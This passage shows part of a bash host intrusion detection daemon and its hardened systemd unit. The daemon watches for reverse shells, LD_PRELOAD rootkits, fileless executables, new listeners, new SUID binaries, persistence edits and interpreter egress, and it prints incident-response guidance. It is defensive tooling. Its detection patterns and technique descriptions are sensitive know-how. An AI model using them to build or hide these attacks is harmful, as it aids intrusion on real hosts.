printf 'HIGH\tnew_listener\tkey=lis:%s new listening socket %s by comm=%s\n' \
"$key" "$addr" "$comm"
done < <(ss -H -tlnp 2>/dev/null)
}
build_suid_baseline() {
find / -xdev \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null \
| sort -u > "$LOG_DIR/.suid-baseline"
}
detect_new_suid() {
[ -r "$LOG_DIR/.suid-baseline" ] || return 0
local f
while IFS= read -r f; do
grep -qxF "$f" "$LOG_DIR/.suid-baseline" && continue
local sev=HIGH why="new SUID/SGID binary"
for d in $SUID_HOT_DIRS; do
case "$f" in "$d"/*) sev=CRITICAL; why="SUID/SGID binary in writable dir"; break ;; esac
done
printf '%s\tnew_suid\tkey=suid:%s %s: %s\n' "$sev" "$f" "$why" "$f"
done < <(find / -xdev \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null)
}
detect_persistence() {
local since="$1" f
# -newermt @epoch matches files modified strictly after that time.
while IFS= read -r f; do
[ -n "$f" ] || continue
printf 'HIGH\tpersistence\tkey=persist:%s persistence file modified: %s\n' "$f" "$f"
done < <(find $WATCH_PERSISTENCE -newermt "@$since" \( -type f -o -type l \) 2>/dev/null)
}
detect_egress() {
local line addr port comm pid
while IFS= read -r line; do
# ss -Hntp output: ... peer_addr:port users:(("comm",pid=NNN,fd=N))
local raddr; raddr=$(awk '{print $5}' <<< "$line")
addr=${raddr%:*}; port=${raddr##*:}
addr=${addr#[}; addr=${addr%]}
[[ "$line" =~ \"([^\"]+)\",pid=([0-9]+) ]] || continue
comm="${BASH_REMATCH[1]}"; pid="${BASH_REMATCH[2]}"
case " $INTERPRETERS " in *" $comm "*) ;; *) continue ;; esac
is_public_ip "$addr" || continue
ip_in_cidrs "$addr" "$EGRESS_ALLOW_CIDRS" && continue
printf 'HIGH\tsuspicious_egress\tkey=egr:%s:%s pid=%s comm=%s -> %s:%s (interpreter to public IP)\n' \
"$pid" "$addr" "$pid" "$comm" "$addr" "$port"
done < <(ss -H -tnp state established 2>/dev/null)
}
run_detectors() {
local since="$1" do_suid="${2:-0}"
[ "$DET_REVERSE_SHELL" = 1 ] && detect_reverse_shell
[ "$DET_LD_PRELOAD" = 1 ] && detect_ld_preload
[ "$DET_DELETED_EXE" = 1 ] && detect_deleted_exe
[ "$DET_EGRESS" = 1 ] && detect_egress
# New-listener / new-suid / persistence only after the grace window so we
# don't alert on everything that existed at startup.
if [ $(( $(date +%s) - START_TIME )) -ge "$BASELINE_GRACE" ]; then
[ "$DET_NEW_LISTENER" = 1 ] && detect_new_listener
[ "$DET_PERSISTENCE" = 1 ] && detect_persistence "$since"
# SUID scan walks the whole filesystem, so it runs on a slow cadence
# (do_suid is decided by the caller), not every sweep.
[ "$DET_NEW_SUID" = 1 ] && [ "$do_suid" = 1 ] && detect_new_suid
fi
return 0
}
# --------------------------------------------------------------------------
# Per-signature incident-response guidance (the security analogue of
# freeze-watcher's classify_snapshot diagnoses).
# --------------------------------------------------------------------------
signature_response() {
case "$1" in
reverse_shell)
echo "A shell/interpreter has a network socket wired to its stdin/stdout — the canonical reverse-shell signature. RESPONSE: identify the peer IP, kill the pid, inspect parent process and how it was spawned (web/db service = RCE), preserve /proc/<pid>/ before killing if you can." ;;
ld_preload_global)
echo "/etc/ld.so.preload injects a library into EVERY dynamically-linked process — a classic userland rootkit persistence mechanism. RESPONSE: capture the named .so, hash it, check package ownership (pacman -Qo), assume full host compromise until cleared." ;;
ld_preload_proc)
echo "A running process has LD_PRELOAD pointing at a writable/temp path — function-hooking, often to hide files/processes or intercept credentials. RESPONSE: capture the .so, inspect the process tree, determine who set the env var." ;;
deleted_exe)
echo "A process is executing from a deleted or memfd-backed binary — fileless malware that left no file on disk. RESPONSE: dump /proc/<pid>/exe to recover the binary BEFORE killing, capture maps and sockets." ;;
new_listener)
echo "A listening socket appeared that wasn't present at baseline — possible backdoor/bind shell. RESPONSE: identify the binary, confirm it's an expected service, check for matching inbound connections." ;;
new_suid)
echo "A new SUID/SGID binary appeared (critical if in a writable dir) — a privilege-escalation persistence trick. RESPONSE: verify package ownership; an unowned SUID binary in /tmp or /home is almost never legitimate." ;;
persistence)
echo "A persistence-relevant file (cron, systemd unit, authorized_keys, shell rc) was modified. RESPONSE: diff against backup/version control, review the change, check surrounding auth logs for who made it." ;;
suspicious_egress)
echo "An interpreter is holding an outbound connection to a public IP — possible C2 beacon or data exfil. RESPONSE: resolve/geolocate the peer, check reputation, inspect the process and its parentage." ;;
*) echo "Review the captured process, socket, and file context manually." ;;
esac
}
# --------------------------------------------------------------------------
# Snapshot capture
# --------------------------------------------------------------------------
notify_users() {
[ -z "$NOTIFY_USERS" ] && return 0
local body="$1" IFS=,
for user in $NOTIFY_USERS; do
user=$(echo "$user" | tr -d '[:space:]'); [ -z "$user" ] && continue
local uid; uid=$(id -u "$user" 2>/dev/null) || continue
sudo -u "$user" \
DBUS_SESSION_BUS_ADDRESS="unix:path=/run/user/$uid/bus" \
notify-send -u "$NOTIFY_URGENCY" -a "enodia-sentinel" \
"⚠ Enodia Sentinel alert" "$body" 2>/dev/null &
done
}
prune_snapshots() {
if [ "${MAX_SNAPSHOT_AGE_DAYS:-0}" -gt 0 ]; then
find "$LOG_DIR" -maxdepth 1 -name 'alert-*.log' -type f \
-mtime "+$MAX_SNAPSHOT_AGE_DAYS" -delete 2>/dev/null
fi
if [ "${MAX_SNAPSHOTS:-0}" -gt 0 ]; then
local files
files=$(ls -1t "$LOG_DIR"/alert-*.log 2>/dev/null | tail -n "+$((MAX_SNAPSHOTS+1))")
[ -n "$files" ] && echo "$files" | xargs -r rm -f
fi
}
# Extract the pids referenced in the triggering alerts so we can deep-dive them.
pids_from_alerts() {
grep -oE 'pid=[0-9]+' <<< "$1" | cut -d= -f2 | sort -un
}
capture_pid_detail() {
local pid="$1"
local d="/proc/$pid"
[ -d "$d" ] || { echo " pid $pid: gone"; return; }
echo "### pid $pid"
echo " comm: $(cat "$d/comm" 2>/dev/null)"
echo " exe: $(readlink "$d/exe" 2>/dev/null)"
echo " cwd: $(readlink "$d/cwd" 2>/dev/null)"
echo " cmdline: $(tr '\0' ' ' < "$d/cmdline" 2>/dev/null)"
local ppid; ppid=$(awk '/^PPid:/{print $2}' "$d/status" 2>/dev/null)
echo " ppid: $ppid ($(cat "/proc/$ppid/comm" 2>/dev/null))"
echo " uid: $(awk '/^Uid:/{print $2}' "$d/status" 2>/dev/null) gid: $(awk '/^Gid:/{print $2}' "$d/status" 2>/dev/null)"
echo " LD_PRELOAD env: $(tr '\0' '\n' 2>/dev/null < "$d/environ" | sed -n 's/^LD_PRELOAD=//p')"
echo " open fds (socket/file targets):"
local fd t
for fd in "$d"/fd/*; do
t=$(readlink "$fd" 2>/dev/null) || continue
printf ' %s -> %s\n' "${fd##*/}" "$t"
done | head -40
}
capture_execve_bpftrace() {
command -v bpftrace >/dev/null 2>&1 || { echo "bpftrace not installed"; return; }
echo "## bpftrace execve trace (3s) — short-lived processes polling can miss"
timeout 4 bpftrace -e '
tracepoint:syscalls:sys_enter_execve {
printf("%-8d %-16s %s\n", pid, comm, str(args->filename));
}
interval:s:3 { exit(); }
' 2>/dev/null | tail -60
}
capture_snapshot() {
local alerts="$1"
local final="$LOG_DIR/alert-$(date +%Y%m%d-%H%M%S).log"
local sigs; sigs=$(awk -F'\t' '{print $2}' <<< "$alerts" | sort -u)
local top_sev; top_sev=$(awk -F'\t' '{print $1}' <<< "$alerts" \
| grep -m1 -E 'CRITICAL' || awk -F'\t' 'NR==1{print $1}' <<< "$alerts")
{
echo "=== ENODIA SENTINEL ALERT ==="
echo "Time: $(date -Iseconds)"
echo "Host: $(hostname)"
echo "Severity: ${top_sev:-HIGH}"
echo
echo "## Triggering detections"
awk -F'\t' '{printf " [%s] %s — %s\n", $1, $2, $3}' <<< "$alerts"
echo
echo "## Response guidance"
while IFS= read -r s; do
[ -n "$s" ] || continue
echo "$s:"
echo " $(signature_response "$s")"
done <<< "$sigs"
echo
echo "## Flagged process detail"
local pids; pids=$(pids_from_alerts "$alerts")
if [ -n "$pids" ]; then
for p in $pids; do capture_pid_detail "$p"; echo; done
else
echo " (no specific pid in alerts)"
fi
echo "## Process tree"
ps -eo pid,ppid,user,etimes,pcpu,pmem,stat,comm --sort=-pcpu 2>/dev/null | head -40
echo
echo "## All established + listening TCP (ss -tanp)"
ss -tanp 2>/dev/null | head -80
echo
echo "## /etc/ld.so.preload"
if [ -s /etc/ld.so.preload ]; then cat /etc/ld.so.preload; else echo " (empty — good)"; fi
echo
echo "## Recently modified watched files (last 1h)"
find $WATCH_PERSISTENCE -newermt "@$(( $(date +%s) - 3600 ))" \
\( -type f -o -type l \) -printf ' %TY-%Tm-%Td %TH:%TM %p\n' 2>/dev/null | head -40
echo
echo "## Recently loaded kernel modules (tail of lsmod)"
lsmod 2>/dev/null | head -15
echo
echo "## Logged-in users / recent logins"
who 2>/dev/null; echo "--"; last -n 5 2>/dev/null | head -5
echo
echo "## Recent auth events (authpriv, 10m)"
journalctl --since "10 minutes ago" --facility=authpriv --no-pager 2>/dev/null | tail -20
echo
if [ "${CAPTURE_EXECVE_BPFTRACE:-0}" = 1 ]; then
capture_execve_bpftrace
fi
} > "$final" 2>&1
chmod 640 "$final" 2>/dev/null
local sig_list; sig_list=$(tr '\n' ',' <<< "$sigs" | sed 's/,$//;s/,/, /g')
echo "$(date -Iseconds) [${top_sev:-HIGH}] captured $final — signatures: ${sig_list}" \
>> "$LOG_DIR/events.log"
notify_users "${top_sev:-HIGH}: ${sig_list}"
}
# --------------------------------------------------------------------------
# Entry points
# --------------------------------------------------------------------------
case "${1:-}" in
--baseline)
build_listener_baseline; build_suid_baseline
echo "Baselines written to $LOG_DIR/.listener-baseline and .suid-baseline"
exit 0 ;;
--check)
# Re-arm immediately for a one-shot check
START_TIME=$((START_TIME - BASELINE_GRACE - 1))
[ -r "$LOG_DIR/.listener-baseline" ] || build_listener_baseline
[ -r "$LOG_DIR/.suid-baseline" ] || build_suid_baseline
out=$(run_detectors "$(( $(date +%s) - SAMPLE_INTERVAL ))" 1)
if [ -z "$out" ]; then echo "No alerts."; else
awk -F'\t' '{printf "[%s] %-18s %s\n", $1, $2, $3}' <<< "$out"
fi
exit 0 ;;
esac
# --- daemon loop ----------------------------------------------------------
echo "$(date -Iseconds) enodia-sentinel started (pid $$)" >> "$LOG_DIR/events.log"
build_listener_baseline
build_suid_baseline
last_suid_refresh=$START_TIME
prune_snapshots
last_scan=$START_TIME
last_suid_scan=0
while true; do
now=$(date +%s)
# Decide whether this sweep includes the filesystem-wide SUID scan.
do_suid=0
if [ $(( now - last_suid_scan )) -ge "${SUID_SCAN_INTERVAL:-60}" ]; then
do_suid=1; last_suid_scan=$now
fi
# Manual trigger (drop a word into $TRIGGER_FILE)
if [ -f "$TRIGGER_FILE" ]; then
rm -f "$TRIGGER_FILE"
capture_snapshot "$(printf 'HIGH\tmanual\tkey=manual manual capture requested')" &
fi
alerts=$(run_detectors "$last_scan" "$do_suid")
last_scan=$now
if [ -n "$alerts" ]; then
fresh=""
while IFS= read -r line; do
[ -n "$line" ] || continue
key=$(grep -oE 'key=[^ ]+' <<< "$line" | head -1)
key=${key:-$line}
prev=${last_alert[$key]:-0}
if [ $(( now - prev )) -ge "$COOLDOWN" ]; then
last_alert[$key]=$now
fresh+="$line"$'\n'
fi
done <<< "$alerts"
if [ -n "$fresh" ]; then
capture_snapshot "${fresh%$'\n'}" &
captures_since_prune=$((captures_since_prune+1))
if [ "$captures_since_prune" -ge 20 ]; then
prune_snapshots &
captures_since_prune=0
fi
fi
fi
# Periodically refresh the SUID baseline so legit installs don't alert forever
if [ $(( now - last_suid_refresh )) -ge "$SUID_REFRESH" ]; then
build_suid_baseline; last_suid_refresh=$now
fi
sleep "$SAMPLE_INTERVAL"
done

View file

@ -0,0 +1,29 @@
[Unit]
Description=Enodia Sentinel - host intrusion detection daemon
After=network.target
Documentation=https://github.com/Enodia/enodia-sentinel
[Service]
Type=simple
ExecStart=/usr/local/bin/sentinel.sh
Restart=on-failure
RestartSec=5
# Needs to read every process's /proc, sockets, and SUID inventory, so it runs
# as root — but with the surface area locked down. It only ever READS the system
# and WRITES to its own log dir.
ProtectSystem=strict
ReadWritePaths=/var/log/enodia-sentinel
ProtectHome=read-only
NoNewPrivileges=yes
ProtectKernelTunables=yes
ProtectControlGroups=yes
RestrictSUIDSGID=yes
MemoryDenyWriteExecute=yes
LockPersonality=yes
# CAP_SYS_PTRACE: read other processes' /proc; CAP_DAC_READ_SEARCH: read
# root-owned files (authorized_keys, ld.so.preload) regardless of perms.
AmbientCapabilities=CAP_SYS_PTRACE CAP_DAC_READ_SEARCH
[Install]
WantedBy=multi-user.target